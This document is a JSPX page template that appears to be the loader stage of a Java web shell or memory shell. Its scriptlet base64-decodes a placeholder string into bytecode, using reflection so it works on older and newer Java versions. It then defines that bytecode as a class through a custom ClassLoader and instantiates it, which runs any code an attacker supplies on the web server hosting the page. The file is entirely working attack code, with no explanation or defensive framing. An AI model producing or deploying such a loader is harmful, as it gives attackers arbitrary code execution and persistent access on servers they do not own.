<jsp:root version="2.0" xmlns:jsp="http://java.sun.com/JSP/Page">
    <jsp:directive.page contentType="text/html"/>
    <jsp:directive.page pageEncoding="UTF-8"/>
    <jsp:declaration><![CDATA[
        public static class ClassDefiner extends ClassLoader {
            public ClassDefiner(ClassLoader classLoader) {
                super(classLoader);
            }
            public Class<?> defineClass(byte[] code) {
                return defineClass(null, code, 0, code.length);
            }
        }
        ]]></jsp:declaration>
    <jsp:scriptlet><![CDATA[
        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
        String base64Str = "{{base64Str}}";
        byte[] bytecode = null;
        try {
            Class base64Clz = classLoader.loadClass("java.util.Base64");
            Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
            bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
        } catch (ClassNotFoundException ee) {
            Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
            bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
        }
        Class clazz = new ClassDefiner(classLoader).defineClass(bytecode);
        clazz.newInstance();
        ]]></jsp:scriptlet>
</jsp:root>